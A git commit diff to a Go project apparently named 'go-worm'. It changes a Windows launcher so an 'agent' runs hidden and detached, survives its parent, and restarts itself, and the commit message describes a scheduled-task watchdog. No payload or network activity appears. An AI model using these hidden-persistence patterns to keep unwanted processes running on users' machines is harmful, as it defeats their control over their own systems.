fix(startup): make watchdog task keep agent alive

- Use Task Scheduler XML instead of /TR
- Run -ensure agent in-process, not child
- Add console close and panic protection
- Guard nil event channels after stop
- Add non-Windows stubs for startup/mutex

lib/instance/launch_windows.go

@@ -5,15 +5,13 @@ package instance
 import (
 	"os"
 	"os/exec"
-	"strings"
 	"syscall"
 
 	"golang.org/x/sys/windows"
-
-	"tea.chunkbyte.com/kato/go-worm/lib/config"
 )
 
-// Launch starts exe detached with no visible window or console IO.
+// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
+// the child alive after the parent (e.g. a scheduled task) exits.
 func Launch(exe string, args []string) error {
 	nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
 	if err != nil {
@@ -26,33 +24,22 @@ func Launch(exe string, args []string) error {
 	cmd.Stdout = nul
 	cmd.Stderr = nul
 	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow:    true,
-		CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
+		HideWindow: true,
+		CreationFlags: windows.CREATE_NO_WINDOW |
+			windows.CREATE_NEW_PROCESS_GROUP |
+			windows.DETACHED_PROCESS,
 	}
-	return cmd.Start()
+	if err := cmd.Start(); err != nil {
+		return err
+	}
+	return cmd.Process.Release()
 }
 
 // RestartSelf launches a fresh agent process (no mutex check).
 func RestartSelf() error {
-	exe, err := config.InstalledExe()
+	exe, err := os.Executable()
 	if err != nil {
 		return err
 	}
 	return Launch(exe, nil)
 }
-
-func filterArgs(args []string) []string {
-	out := make([]string, 0, len(args))
-	for _, arg := range args {
-		name := strings.TrimLeft(arg, "-/")
-		lower := strings.ToLower(name)
-		switch {
-		case lower == "background" || strings.HasPrefix(lower, "background="):
-			continue
-		case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
-			continue
-		}
-		out = append(out, arg)
-	}
-	return out
-}